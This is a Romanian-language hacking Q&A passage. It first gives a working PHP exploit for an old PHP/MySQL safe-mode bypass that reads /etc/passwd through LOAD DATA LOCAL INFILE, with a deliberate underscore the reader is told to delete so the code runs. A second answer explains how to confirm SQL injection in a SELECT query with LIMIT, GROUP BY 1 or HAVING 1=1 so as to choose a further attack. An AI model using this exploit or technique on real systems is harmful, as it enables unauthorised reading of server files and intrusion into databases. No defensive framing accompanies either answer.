Rezolvare: Iată unele scripturi, care te vor ajuta să citeşti conţinutul file-urilor şi a fişierelor în sistemă atunci cînd e activat safe-mode: PHP <=4.4.7/5.2.3MySQL/MySQLi Safe Mode Bypass Vulnerability
Cod: |
<_?php file_get_contents('/etc/passwd'); $1 = mysql_connect("localhost","root"); mysql_query("CREATE DATABASE a"); mysql_query("CREATE TABLE a.a (a varchar(1024))"); mysql_query("GRANT SELECT, INSERT ON a.a TO 'aaaa'@'localhost' "); mysql_close($1); mysql_connect("localhost", "aaaa"); mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a"); $result = mysql_query("SELECT a FROM a.a"); while(list($row) = mysql_fetch_row($result)) print $row . chr(10); ?> P.S. Linia _ din cod se elimina |
_____________________________________________________
Problema: Cum pot depista că SQL-Injecţia se află anume în cererea SELECT, dar nu în cererea DELETE, UPDATE sau altele?
Rezolvare: Pentru aceasta se poate de încercat de pus la sfîrşitul cererei operatorul LIMIT. Lipsa errorii ne va comunica despre, faptul ca serverul lucrează cu MySQL (deoarece, precum ştim, LIMIT - nu e standartul Structured Query Language) şi, desigur, despre faptul că acolo întradevăr figurează operatorul SELECT. Însă în cazul în care nu e MySQL, atunci utilizatorul care atacă poate să încerce să pună GROUP BY 1 sau HAVING 1=1 - cereri, care se referă către standartul limbajului SQL şi care lucrează doar în operatorul SELECT. Aceste 2 metode pot afla tipul cererii şi pot stabili care va fi tehnica de hack mai departe a resursei.